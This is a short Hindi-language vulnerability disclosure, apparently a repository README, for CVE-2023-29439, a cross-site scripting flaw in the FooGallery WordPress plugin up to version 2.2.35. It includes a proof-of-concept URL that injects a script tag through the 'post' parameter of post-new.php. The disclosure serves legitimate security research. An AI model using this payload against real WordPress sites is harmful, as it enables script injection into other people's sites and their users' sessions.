CVE-2023-29439

यह रिपॉजिटरी Wordpress Foogallery Plugin में XSS कमज़ोरी के बारे में है।

कमज़ोरी का विवरण

विवरण

Foogallery 2.2.35 और उससे पहले के संस्करणों में, foogallery/includes/admin/class-gallery-attachment-modal.php में foogallery_image_editor_modal फ़ंक्शन XSS हमले के प्रति संवेदनशील है।

पूर्वापेक्षा

• अप्रमाणित (Unauthenticated)

प्रमाण-अवधारणा (Proof-of-Concept)

1. Foogallery Settings → Admin → Enable Advanced Attachment Modal
2. भेजें: http://localhost:8080/wp-admin/post-new.php?post_type=foogallery&post=”><script>alert(1)</script>

संदर्भ

CVE-2023-29439